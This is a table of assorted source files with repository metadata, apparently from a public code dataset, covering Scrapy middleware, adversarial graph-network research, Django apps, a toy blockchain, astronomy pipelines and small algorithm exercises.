blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 246
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
14fe14d5b0927cec2aafdb55e5df8d1d80138460 | 3ee7db94e09183f9fa7cc854fdb03b661c1d0b8c | /landchina/middlewares/middleware.py | e601d02f4109a4399723d51ec5f5f3c4be5c18fb | [] | no_license | Eddy-zdz/landchina | 44425eac71cfad5d6d456d8a472117f086e5b30c | 85f26b8f4d8610dcce93abf6f1fd0da326e1ff17 | refs/heads/master | 2023-03-16T18:38:01.897874 | 2017-05-27T07:26:07 | 2017-05-27T07:26:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 279 | py | # encoding:utf-8ß
from random import *
from landchina.middlewares.user_agents import agents
class UserAgentMiddleware(object):
'''换user-agent'''
def process_request(self, request, spider):
agent = choice(agents)
request.headers["User-Agent"] = agent
| [
"yuhangzhan@YuhangdeMacBook-Pro.local"
] | yuhangzhan@YuhangdeMacBook-Pro.local |
4123cc56630e37945d21654123abf8df84261538 | bae78540696a58c5f43e3234b6dc16ccdb4adb03 | /node_attack/attackSet.py | 26c47fe2940a8621125bdec0c8d2649627f9e8e6 | [] | no_license | Gadishenhar/adversarial_gnn | 8996c08f4432ee19f13d3e0f28706a32a13a43ad | 79a0ef983028fa1007ecf8c1c009aa7e43cab83b | refs/heads/master | 2023-07-18T04:18:25.019267 | 2021-09-07T17:20:15 | 2021-09-07T17:20:15 | 357,277,797 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,654 | py | from node_attack.attackVictim import attackVictim
from node_attack.attackTrainer import test
from classes.basic_classes import Print
import copy
import numpy as np
import torch
# a wrapper that chooses a victim node and attacks it using attackVictim
# an attack can have 3 modes described in parameter attack_params
#... | [
"gadi.shenhar@gmail.com"
] | gadi.shenhar@gmail.com |
cfbbe9fd87346ac41ce6d9352492c08480e4ec86 | 3cdbe5f5810a035ae168f8ff01c39f58c571e428 | /golf/migrations/0047_auto_20171013_0759.py | 3a2a55b2b3c56503895e31b0b55d1c431628e5d5 | [
"MIT"
] | permissive | kenrumer/scorekeeper | ebd6467e2ecde3da96bb08ef77a56f967cbde00e | c7f22676e84dfdf6ca3361c6ff56719f68fce31f | refs/heads/master | 2021-01-22T05:01:11.370869 | 2018-01-12T07:13:20 | 2018-01-12T07:13:20 | 102,276,714 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 710 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.5 on 2017-10-13 07:59
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('golf', '0046_auto_20171013_0021'),
]
operations = ... | [
"kenrumer@gmail.com"
] | kenrumer@gmail.com |
98baca09d978b22e4aafe983659206cae94d96c0 | 5c790dc4cde3914edb7af4ac67030b0e85f4a8a2 | /utils/evaluation_utils.py | 82c4715a192d3c361c849896b035cd91ee56dc42 | [
"MIT"
] | permissive | wx-b/SGMNet | 49e39907793a48ff0a3cc512aba70fa743a8ebb2 | 52a1ebebb33b4ba952f95d239d25e600b5b8d989 | refs/heads/main | 2023-09-04T06:41:52.603991 | 2021-10-30T04:54:18 | 2021-10-30T04:54:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,484 | py | import numpy as np
import h5py
import cv2
def normalize_intrinsic(x,K):
#print(x,K)
return (x-K[:2,2])/np.diag(K)[:2]
def normalize_size(x,size,scale=1):
size=size.reshape([1,2])
norm_fac=size.max()
return (x-size/2+0.5)/(norm_fac*scale)
def np_skew_symmetric(v):
zero = np.zeros_like(v[:, 0])... | [
"hchencf@connect.ust.hk"
] | hchencf@connect.ust.hk |
99a372505fbc2ad18b5b12d2199ed516c7e5cfe5 | a43f26f346c4baa3483ecc6e7b28275c0ee2f0c4 | /mlshizhan_pdf/naive_bayes/bayes.py | acdc4f3fb4321bbd3ca988b5c7a4782578083e29 | [] | no_license | Tguoliang/machine_learning | 25223c7d4327a6a0e6f1c645c6fad63563b665e5 | 467b9140c0e5561824ae6b94fc43d47c43f421dd | refs/heads/master | 2020-03-23T06:36:02.279056 | 2017-09-27T03:36:31 | 2017-09-27T03:36:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,046 | py | from numpy import *
def loadDataSet():
postingList = [['my', 'dog', 'has', 'flea', \
'problems', 'help', 'please'],
['maybe', 'not', 'take', 'him', \
'to', 'dog', 'park', 'stupid'],
['my', 'dalmation', 'is', 'so', 'cute', \
'I', 'love', 'him'],
['stop', 'posting', 'stupid', 'worthless',... | [
"1178599427@qq.com"
] | 1178599427@qq.com |
4f75d73abfee6f0661d8d553c4fe61c2e504d5fc | 04b41d0703bdc690331583c24a44940bf393d3a1 | /dinoGameWBlinkDetector.py | ea23ebf31aa3cc7dc9cf6e569c45f17f42f0487d | [] | no_license | create-bug/dinoGame_blinkDetection | 6f17a2eda51cf99b80e2cf851a1a13a53648b54c | 5a1d7c2dbf5b632e8590120592e6ff040008b391 | refs/heads/master | 2022-10-26T05:59:12.191488 | 2020-06-15T11:11:53 | 2020-06-15T11:11:53 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,033 | py | import cv2
import dlib
from scipy.spatial import distance
import pyautogui
import time
def calculate_EAR(eye):
A = distance.euclidean(eye[1], eye[5])
B = distance.euclidean(eye[2], eye[4])
C = distance.euclidean(eye[0], eye[3])
ear_aspect_ratio = (A+B)/(2.0*C)
return ear_aspect_ratio
def jump():
pyautogui.ke... | [
"misbah4064@gmail.com"
] | misbah4064@gmail.com |
d0a080cd1772868b8f31fb2b141db45964827968 | ada1320d2bace0f82e12249358861f893c788ae1 | /RobotMaze.py | 866c6edc960f6f1ebdbfb6fa11592e7c4976f268 | [] | no_license | fiberpaper/NEAT-world | 9d5ef11c73a3f88e01747e92be239d98935f66a6 | 2821b6ce2564f78d93eb93f371b5d72692afb3e5 | refs/heads/master | 2020-03-14T02:30:23.854621 | 2018-04-28T11:03:18 | 2018-04-28T11:03:18 | 131,400,210 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,622 | py | ## v0 - 11/06/2017
## RobotMaze world
from Maze import maze
from Robot import robot
from RobotPhenotype import robot_phenotype
from Innovation import innovation
from Activations import activations
from Specie import specie
import Reproduction
import matplotlib.pyplot as plt
import numpy as np
import time
import pickl... | [
"noreply@github.com"
] | fiberpaper.noreply@github.com |
8a2b59abaae0e0a34340223ccf9dc23804f60308 | 578ff5c105747dc7520b11cd73893b32e458d9e5 | /utils_ref/word_embed.py | 530a3e254b12603370a7ec3861df2021bb382ba5 | [] | no_license | dulangaweerakoon/PhraseCutDataset | 8cad581c8a059a0f2256ed580f5c1c71601ea875 | 86401015bf5c372a103d8459ad46a59455d6492b | refs/heads/master | 2022-11-27T01:47:33.173591 | 2020-07-19T08:49:29 | 2020-07-19T08:49:29 | 277,823,431 | 0 | 0 | null | 2020-07-07T13:25:25 | 2020-07-07T13:25:25 | null | UTF-8 | Python | false | false | 3,386 | py | import numpy as np
class WordEmbed:
def __init__(self, lookup_path='data/fast_text/lookup_refvg_all.npy', vocab_size=-1, word_freq_thresh=0,
init_embed='fast_text'):
lookup = np.load(lookup_path, allow_pickle=True).item()
end_ix = len(lookup['ix_to_word']) # word[end_ix] is exclu... | [
"dulanga.weerakoon.lk@gmail.com"
] | dulanga.weerakoon.lk@gmail.com |
5fcf59afbbbc3f3e3cf18d7345abfcc604f5a5eb | 2f2bd2556353bfdd8fb32f2fd996101a51c72a5c | /node_modules/peer/node_modules/restify/node_modules/dtrace-provider/build/config.gypi | 2f096b356c4ca1e0356de426b48ce11ba5a6341e | [
"MIT",
"BSD-2-Clause"
] | permissive | kenchangh/liveline | 01602776febbcef6357390188c5915e35bd8244a | 555cc291dd689aaf61cc0383b7b0260602281fd0 | refs/heads/master | 2021-05-27T13:58:10.947645 | 2014-08-01T06:25:46 | 2014-08-01T06:25:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,166 | gypi | # Do not edit. File was generated by node-gyp's "configure" step
{
"target_defaults": {
"cflags": [],
"default_configuration": "Release",
"defines": [],
"include_dirs": [],
"libraries": []
},
"variables": {
"clang": 0,
"gcc_version": 44,
"host_arch": "x64",
"node_install_npm": ... | [
"guanhao3797@gmail.com"
] | guanhao3797@gmail.com |
3715d582eda0e08ee9b12fe4425c41b8a4861879 | 61930bf19a6c271a021cc105f1edbb8f86dbb337 | /maximus48/polar.py | 3e0a8f033acc15b7bbe13a8c2b2fcf4b75527328 | [
"MIT"
] | permissive | maximka48/XIMG-EMBL | 50d5b9c3c138f4ea403658507c24993bf82fbcf3 | 0178822dfbf4b1a249d510030b21fca28d51d2c0 | refs/heads/master | 2022-03-24T15:57:37.729211 | 2021-11-20T14:31:00 | 2021-11-20T14:31:00 | 234,130,531 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 4,555 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue May 7 14:58:53 2019
@author: mpolikarpov
"""
import numpy as np
import matplotlib.pyplot as plt
import scipy
import cv2
class polar_image:
'''
description
'''
# =====================================================================... | [
"mpolikarpov@embl-hamburg.de"
] | mpolikarpov@embl-hamburg.de |
83069894a76b2d3a5e4b915aa5beeb0470266310 | ae674db34a41ed4748208d7fc255302352aed2cb | /NMI_calculation/NMI_calculation.py | e7226c8e22a612aeaca2f83490bb2b21098167f6 | [] | no_license | zhang134/OTUs_clustering | 4dd676957ee8b5476a2c877b3a3856e94a4bd802 | ec0e15d14073178d5edae8dc7685ed516b70b64b | refs/heads/main | 2023-03-03T11:11:10.938624 | 2021-02-03T06:33:09 | 2021-02-03T06:33:09 | 302,034,277 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,927 | py | import math
import sys
import os
import getopt
def readList(listfile):
goldDict={}
testDict={}
readsNum=0
for line in open(listfile,'r'):
readsNum+=1
lineList=line.strip().split()
if len(lineList) != 3:
print "***There is an error in input file, at %d row.\nthree col... | [
"noreply@github.com"
] | zhang134.noreply@github.com |
e832b19f088e3c07c3bc1040ffe8704174b85fcd | 0f56f4692bdfacb7adda41786718df480fc949fe | /nQueens.py | c34e1fec2cd05871b4da8aab24afbf791896d81a | [] | no_license | freephys/CodingPractice | ca4ee5a2d8701934cfd6d4c2b15e7e00d58a2064 | dee421a78fdea5f6a695ae2423383f4a21f98e32 | refs/heads/master | 2023-07-11T18:27:29.761786 | 2021-08-13T01:54:04 | 2021-08-13T01:54:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 562 | py | def nQueens(n):
res = []
def isValid(offset, cur):
for i in range(offset):
diff = abs(cur[offset] - cur[i])
if diff == 0 or diff == offset - i:
return False
return True
def helper(offset, cur):
if offset == n:
res.append(cur.copy(... | [
"mengzhehuang@gmail.com"
] | mengzhehuang@gmail.com |
80994cabe8186bfede033958693fb604306b5a42 | f0d46d6647e9bae4da0d0b5328e869263ff7e008 | /Exercise3/main.py | 30c7ab902e595361dffc9acf3734a34d247f9e3c | [
"MIT"
] | permissive | Gruppe3VDL/3D_computer_vision | 5d06b49ac00b1b601fb7c78c53f558a7ab741c33 | 9f49055db096983624c65b4240d7852a29a3f850 | refs/heads/master | 2020-09-05T04:53:59.590062 | 2019-12-22T13:31:12 | 2019-12-22T13:31:12 | 219,987,749 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,817 | py | import os
import sys
import numpy as np
import cv2 as cv
import scipy.io as io
from collections import OrderedDict
import copy
def build_k_matrix(data):
k= np.array([[data['alpha_x'][0,0], data['s'][0,0],data['x_0'][0,0]],
[0, data['alpha_y'][0,0], data['y_0'][0,0]],
[0,0,1]])
return... | [
"gulzainali@gmail.com"
] | gulzainali@gmail.com |
ddcbfea5a49f0411ebd847c047042c242258c2da | 7330d978b8cb994fbfca5a64acd4984b86cdf6b5 | /lib/export.py | cf91210e98045b88b010c07b987be958fef62113 | [] | permissive | pooyadav/lib-python-databox | a1afd9de0c111ae576805f281a1cab806526a739 | 25b4670d3c5706708b4d2bf8badea5c625232e78 | refs/heads/master | 2022-02-18T03:01:00.880166 | 2019-09-17T12:39:19 | 2019-09-17T12:39:19 | 105,249,434 | 0 | 0 | MIT | 2019-08-12T11:53:51 | 2017-09-29T08:34:36 | Python | UTF-8 | Python | false | false | 559 | py | import lib.utils as utils
import os
import json
try:
if "DATABOX_EXPORT_SERVICE_ENDPOINT" in os.environ:
exportServiceURL = os.environ['DATABOX_EXPORT_SERVICE_ENDPOINT']
except NameError:
print("Export service endpoint is not defined")
exportServiceURL=''
def longpoll(destination, payload)... | [
"py236@cam.ac.uk"
] | py236@cam.ac.uk |
3f92164670a5ea304825542ef150a9ac09c4c1b3 | eedf9ef8437800116171f99689df4c0f28a67e93 | /DjangoTest/urls.py | 86e247af94b1848cfedf8b65fab91c73da6c234c | [] | no_license | hiCyoung/DjangoTest | 08f28d72049798ca2f28bc012e746820e652a2ed | dabb6b2527fae3e1228654035dc63fce3ce83257 | refs/heads/master | 2016-09-06T12:19:20.063794 | 2013-06-24T01:49:50 | 2013-06-24T01:49:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 681 | py | from django.conf.urls import patterns, include, url
# Uncomment the next two lines to enable the admin:
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
# Examples:
# url(r'^$', 'DjangoTest.views.home', name='home'),
# url(r'^DjangoTest/', include('DjangoTest.foo.urls')),
... | [
"328491755@qq.com"
] | 328491755@qq.com |
a9e7f9d118621d4c456b471b3521436e8bfc7d72 | 18e605d36d54c0f5178bda2139cd561d3a0ea057 | /crystfeler/py/json2center.py | 1bca08c9083a318196a13724f465bb3f0016e784 | [] | no_license | vachram97/still-utils | 756fb6fa57aa9deb78979182439e8f66b1415408 | 34f2ec16afb1ea9a92c258087f13209710daca28 | refs/heads/master | 2020-12-29T05:07:37.425716 | 2020-09-14T17:05:39 | 2020-09-14T17:05:39 | 238,465,071 | 0 | 0 | null | 2020-02-05T14:08:03 | 2020-02-05T14:08:02 | null | UTF-8 | Python | false | false | 7,751 | py | #!/usr/bin/env python3
import numpy as np
import json
import sys
import argparse
from tqdm import tqdm
from typing import List, Tuple
from itertools import combinations
import matplotlib.pyplot as plt
import warnings
def moving_average(arr: np.ndarray, window_size: int) -> np.ndarray:
"""
Return moving avera... | [
"marin@phystech.edu"
] | marin@phystech.edu |
945d4b45857ddcb47d20b1ccef7019f02c040f02 | 0dc2d6677fa38c0737e009d0576c74257315110d | /app.py | 663c1de28ab8cecf83c2eb4bd56a6a2ba4a94e94 | [] | no_license | ysa23/blockchain | 077778c283329f42e8cbed8e8a03db62e8b0c29b | ce2d91449e881f74edf2d52a5e4c4ef6d917f625 | refs/heads/master | 2021-08-16T01:29:22.298169 | 2017-11-18T19:54:06 | 2017-11-18T19:54:06 | 110,583,371 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,443 | py | from textwrap import dedent
from flask import Flask, jsonify, request
from uuid import uuid4
from blockchain import Blockchain
app = Flask(__name__)
node_identifier = str(uuid4()).replace('-', '')
blockchain = Blockchain()
@app.route('/mine', methods=['GET'])
def mine():
last_block = blockchain.last_block
l... | [
"yossi@sears.co.il"
] | yossi@sears.co.il |
8d2bcd5d0667c194c2a3756cc75b8e871825893f | 02ce427febaf19edd64b8fb07d0e442c56836225 | /Week 3/Homework/Homework2.py | e83ee5214f5c4ece9053fe2b100d2913b42f1c79 | [] | no_license | joostecg/PH526x | 95ca712877020317571d9da0802b8e1cd242984b | 0d0fbee1d983f33e5cc528d7bcd30b2b3caac7eb | refs/heads/master | 2021-01-25T08:06:35.813282 | 2017-06-08T05:46:15 | 2017-06-08T05:46:15 | 93,711,430 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,345 | py | # Exercise 1
# Exercise 2
# Exercise 3
hamlets = ## Enter code here! ###
book_dir = "Books"
title_num = 1
for language in book_titles:
for author in book_titles[language]:
for title in book_titles[language][author]:
if title == "Hamlet":
inputfile = data_filepath+"Books/"+lan... | [
"joostecg@gmail.com"
] | joostecg@gmail.com |
4500eb9123833c1245e3ab171d6fb8e92aa11c99 | 32a2fdbce84b5d7c312bbdd1b091cbe4a3ed3a89 | /core/products/__init__.py | f10da071df84ce620478227026411e28181ceaaa | [] | no_license | threedium/gridscale | e846ff1c74e9e329408cfcbec940cbdb23b92b02 | cdeaa656cfbabf232a7aa163ec18dc314f14c2d9 | refs/heads/master | 2022-12-10T21:26:26.529206 | 2020-01-14T04:33:13 | 2020-01-14T04:33:13 | 228,313,354 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,406 | py | #!/usr/bin/env python
#-*- coding: utf-8 -*-
from __future__ import (unicode_literals, print_function)
import os
import random
import string
from flask import (Blueprint, request, jsonify, make_response)
prod = Blueprint('prod', __name__)
from core import db
from core.models import (Products)
def create_products():
... | [
"se.wanyama@gmail.com"
] | se.wanyama@gmail.com |
d5c5779cb06cd034955a358e57ccad53113de7b0 | bfc25f1ad7bfe061b57cfab82aba9d0af1453491 | /data/external/repositories/141822/AXA_Telematics-master/Features/modules_janto/featureFun.py | 6077221b9a1eba16c0182067048fda6cda0a3b49 | [
"MIT"
] | permissive | Keesiu/meta-kaggle | 77d134620ebce530d183467202cf45639d9c6ff2 | 87de739aba2399fd31072ee81b391f9b7a63f540 | refs/heads/master | 2020-03-28T00:23:10.584151 | 2018-12-20T19:09:50 | 2018-12-20T19:09:50 | 147,406,338 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 5,821 | py | # -*- coding: utf-8 -*-
"""
(c) 2015
@author: Janto Oellrich
email: joellrich@uos.de
CONTENT:
Contains FEATURE EXTRACTION funtions for
the AXA telematics competition.
FUNCTION LIST:
features: creates feature vector for one trip
driverFrame: creates feature ma... | [
"keesiu.wong@gmail.com"
] | keesiu.wong@gmail.com |
034075db05af08fc51f6883ff05c168ed826538f | e8b7d79faec702bc95b4563520413c61ffe1640d | /script/initialization/03_create_table_File.py | 4514e72a398500418a35a23bf731820662d79b30 | [
"Apache-2.0"
] | permissive | informatics-isi-edu/nsf-core | 8511f82df22da4eecb3ae6ee9e4033012915999b | 8073c62fbf338e3e88430c136fa99772481174f2 | refs/heads/master | 2020-03-23T21:07:03.405120 | 2019-03-07T20:14:06 | 2019-03-07T20:14:06 | 142,082,834 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,809 | py | from deriva.core import DerivaServer, get_credential
from deriva.core.ermrest_model import Table, Column, Key,ForeignKey,builtin_types as typ
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('hostname')
parser.add_argument('catalog_number')
parser.add_argument('schema_name')
args = parser.parse_a... | [
"35635511+ytfqj@users.noreply.github.com"
] | 35635511+ytfqj@users.noreply.github.com |
305694dae099f4bf0087378a3e5018ba3d189b9e | 795a37b6aeaaedc8b2c7b525a037b9533233bafb | /scrape_mars.py | c0dacb96bdbd5d720d581f4ec567e39b46f01891 | [] | no_license | arthurosakwe/mission_to_mars | 8599eee09d157f1f42eb5b9cb588a4da3bcf8424 | ac45c79749e603eda6d64a1a93e2f41f2168dd59 | refs/heads/master | 2020-04-07T18:07:44.580635 | 2018-11-21T21:25:03 | 2018-11-21T21:25:03 | 158,598,030 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,510 | py |
# coding: utf-8
# In[1]:
#import dependencies
from bs4 import BeautifulSoup as bs
from splinter import Browser
import os
import pandas as pd
import time
# In[2]:
def init_browser():
executable_path = {"executable_path":"C:\chromedriver_win32\chromedriver"}
return Browser("chrome", **executable_path, head... | [
"noreply@github.com"
] | arthurosakwe.noreply@github.com |
a5dc2d3eb8c1c3570c78cc8340e536ee6a689fad | 41ab75ef3dbb7293c94aa0fd075316b90b930c27 | /11.py | f1ed666ed6dcfca61daaebb54101b17c0c8222be | [] | no_license | 3232731490/Python | 91716d8bcb8d2f193743118cd0bb73e4f307854c | 1a76a2b4d1f21c4e2caece507f1655c3eb751aa9 | refs/heads/main | 2023-02-05T11:46:08.915601 | 2020-12-27T11:36:24 | 2020-12-27T11:36:24 | 324,100,187 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 569 | py | class cenius:
def __init__(self,value=20.0):
print('init')
self.value=float(value)
def __get__(self,instance,owner):
print('cel_get')
return self.value
def __set__(self,instance,value):
print('cel_set')
self.value=float(value)
class Huashi:
def __get__(... | [
"3232731490@qq.com"
] | 3232731490@qq.com |
6f0f37984334bfa33641cc9897992255772952bf | 712a494b06e1f48c158e0286d3e604c64f7d2e87 | /backtrader/bt_step5.py | af73c528744820beb09a4b91aa72d36894f023b0 | [] | no_license | juvu/ccxt_test | db0b6d9080bb59981ab748087b4a8cc3220c7922 | 842b42176b961cad690dd9e70b63a9a2e34216e5 | refs/heads/master | 2022-03-24T20:39:05.624946 | 2019-11-21T15:25:08 | 2019-11-21T15:25:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,917 | py | from __future__ import (absolute_import, division, print_function,
unicode_literals)
import datetime # For datetime objects
import os.path # To manage paths
import sys # To find out the script name (in argv[0])
import pandas as pd
# Import the backtrader platform
import backtrader as bt
impo... | [
"flyhawksz@163.com"
] | flyhawksz@163.com |
1c8d05e67cfb13334be391982bc7649233111970 | 56ffe678e18f00661d55bbedf28b3d37edb54434 | /weaklens_select.py | 1ce8ca51dad0991a95d971b5784603cc523f675a | [] | no_license | amitkiucaa/weaklens_pipeline_by_Surhud_modified_by_Amit | dd05d862878edb4836fb77177f6ebc40a5296579 | f9bf5ddd6f4a69fa449ce8163dadf54c80234312 | refs/heads/master | 2022-12-01T13:03:55.669033 | 2020-08-23T12:08:21 | 2020-08-23T12:08:21 | 284,535,746 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 63,745 | py | import numpy as np
from astropy.io import fits as pyfits
from astropy.io import fits
import pandas
import sys
import fitsio
import glob
from sqlitedict import SqliteDict
import gnupg
gpg = gnupg.GPG()
def FITS_to_PGP(message):
"""
Turns a string stored into an FITS comment back into a proper
PGP message
... | [
"ratewalamit@gmail.com"
] | ratewalamit@gmail.com |
61ac1e63f84e1ca18e20b096e9600d99111c4c5c | bac204b9c5306de3ca9edd77b813154299f5708b | /ExtractTable/config.py | 957fdc69f75e4fe40b564ff2f96edbd32f0b5935 | [
"Apache-2.0"
] | permissive | ExtractTable/ExtractTable-py | a365ce70d50aa4ae3a46170541f288af81443cb2 | e7ad566f2b49089ca4acb16149a985278b46a9a9 | refs/heads/master | 2023-05-27T03:13:38.048258 | 2022-07-18T22:30:39 | 2022-07-18T22:30:39 | 213,262,054 | 232 | 29 | Apache-2.0 | 2023-05-22T01:52:44 | 2019-10-06T23:54:29 | Python | UTF-8 | Python | false | false | 557 | py | """
Configure all Server request/response objects here
"""
class HOST:
"""API Endpoints of ExtractTable.com"""
VALIDATOR = 'validator.extracttable.com'
TRIGGER = 'trigger.extracttable.com'
RESULT = 'getresult.extracttable.com'
BIGFILE = 'bigfile.extracttable.com'
TRANSACTIONS = 'viewtransactio... | [
"noreply@github.com"
] | ExtractTable.noreply@github.com |
7b1d36e6759d21e129f1ccb505e5824290d24a31 | 02d8a8b44dc9f8f3c63c2f62f24ceaee7d94fd12 | /apps/profile/views.py | ef24c418f7057f9700edd7b07e9c9801961c3ee3 | [] | no_license | bladas/transfer | 0970a4290e2e92e56853a64211ab3e79c479c0aa | 54c61b7bf340af4f48c7c7162805697b0417f4d7 | refs/heads/master | 2023-01-04T12:45:36.784275 | 2019-12-08T17:34:36 | 2019-12-08T17:34:36 | 224,606,015 | 0 | 0 | null | 2022-11-22T04:52:01 | 2019-11-28T08:31:59 | Python | UTF-8 | Python | false | false | 2,751 | py | from django.shortcuts import render, redirect
from django.views.generic import ListView, FormView
from apps.orders.models import *
from django.core import mail
from django.template.loader import render_to_string
conection = mail.get_connection()
conection.open()
class ProfileView(ListView):
template_name = 'prof... | [
"dashkevich_v@ukr.net"
] | dashkevich_v@ukr.net |
766840ecca2b4badf80dd3693e85dd3563f8ecaa | 9738a5c6f1a0ff018da89d6385c22ef0d566fd89 | /dynamic8-5.py | 6e932681be31d6e5f93390d26340b9f1ba8e7925 | [] | no_license | clearwater92/Algorithm | 348550a706edd05bb8d31d65d48029126b50e623 | d4d4b66a549ed79528f05aaf89cf7aa01d95dad2 | refs/heads/main | 2023-01-20T12:42:26.161955 | 2020-12-03T12:53:23 | 2020-12-03T12:53:23 | 305,384,185 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 475 | py | ###
#이것이 코딩테스트다 교재의 p217 문제입니다.
###
import sys
x = int(sys.stdin.readline().rstrip())
d = [0] * 30001
for i in range(2, x + 1):
d[i] = d[i - 1] + 1 # 점화식에 맞게 구현
if i % 2 == 0:
d[i] = min(d[i], d[i // 2] + 1) # 1을 뺀 것보다 2로 나눈 횟수가 더 적을지 비교
if i % 3 == 0:
d[i] = min(d[i], d[i // 3] + 1)
... | [
"clearwater92@naver.com"
] | clearwater92@naver.com |
104fc669d2af9fa208c4aed1d720c01d359a05f9 | e98f2775d0b7b9aca26e4ef6a3c08ca0100a1442 | /tensorflow_federated/python/core/backends/mapreduce/test_utils.py | f1aeca67ea8ccadf1f89de7152c7f2c39569ec29 | [
"Apache-2.0"
] | permissive | sgpohlj87/federated | 54131d8e62a3df1b0bb396d11ba6e6a2e1ada11d | ca179ac0e2c0cf9c33169d13fbb44668cbab6982 | refs/heads/master | 2020-07-18T22:34:06.001195 | 2019-09-03T22:12:33 | 2019-09-03T22:13:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,890 | py | # Lint as: python2, python3
# Copyright 2019, The TensorFlow Federated Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | [
"tensorflow.copybara@gmail.com"
] | tensorflow.copybara@gmail.com |
0a88a90c2b0b47891884919f717aa1f326ee62a0 | 3dd32d9430d482a2116ec6ca213fe7cb46920f23 | /eval-data/word_translation/merge-wiktionary-dicts.py | 1116ee1bb465b54045f87fa90066ccd9a636b601 | [] | no_license | begab/multilingual-embeddings-eval-portal | 8cc6832afd1d2143bd6f8643c4812a1d90369b34 | 83821717dbc9031f3dee9bffbda719090bb3aa74 | refs/heads/master | 2020-07-06T09:21:48.260270 | 2019-08-18T15:06:12 | 2019-08-18T15:06:12 | 202,967,573 | 0 | 0 | null | 2019-08-18T06:20:42 | 2019-08-18T06:20:41 | null | UTF-8 | Python | false | false | 1,252 | py | import shutil
import io
import os
import glob
# twelve: desired_langs = set('bg,cs,da,de,el,en,es,fi,fr,hu,it,sv'.split(','))
# fifty nine:
desired_langs = set("bg|cs|da|de|el|en|es|fi|fr|hu|it|sv|zh|af|ca|iw|cy|ar|ga|zu|et|gl|id|ru|nl|pt|la|tr|ne|lv|lt|tg|ro|is|pl|yi|be|hy|hr|jw|ka|ht|fa|mi|bs|ja|mg|tl|ms|uz|kk|sr|m... | [
"wammar@cs.cmu.edu"
] | wammar@cs.cmu.edu |
ae3dc2f7bf203c611851ed1cdfa6151cfb952a15 | f07a42f652f46106dee4749277d41c302e2b7406 | /Data Set/bug-fixing-1/c748512c4c45e257bc625ccf036e18c86d69f1c8-<main>-fix.py | 759edf1deb6fc8e4fa82cf7d84981a26157ee87e | [] | no_license | wsgan001/PyFPattern | e0fe06341cc5d51b3ad0fe29b84098d140ed54d1 | cc347e32745f99c0cd95e79a18ddacc4574d7faa | refs/heads/main | 2023-08-25T23:48:26.112133 | 2021-10-23T14:11:22 | 2021-10-23T14:11:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,832 | py |
def main():
'Main program body.'
api_key = get_api_key()
parser = argparse.ArgumentParser(description='Start a new Shippable run.')
parser.add_argument('project', metavar='account/project', help='Shippable account/project')
target = parser.add_mutually_exclusive_group()
target.add_argument('--... | [
"dg1732004@smail.nju.edu.cn"
] | dg1732004@smail.nju.edu.cn |
7667e584bd19748364f959b65a717e2d48a22716 | 9951aeb5fc1676e2de41c160ffbcb87054e0276a | /hknweb/guide/apps.py | 83dfa25433ad4c757a86db3ea3961c83b4a94d95 | [
"MIT"
] | permissive | m1ch43lw4ng/hknweb | 43f3b0fb22b200f9e470f61d2d109e34921314e0 | 3588c57cdf404d97a3492b6598fc006e86a08cf2 | refs/heads/master | 2020-08-30T16:49:45.264238 | 2019-12-01T10:25:01 | 2019-12-01T10:25:01 | 218,436,615 | 0 | 0 | MIT | 2019-10-30T03:34:00 | 2019-10-30T03:33:59 | null | UTF-8 | Python | false | false | 90 | py | from django.apps import AppConfig
class GuideConfig(AppConfig):
name = 'guide'
| [
"nfigueira@berkeley.edu"
] | nfigueira@berkeley.edu |
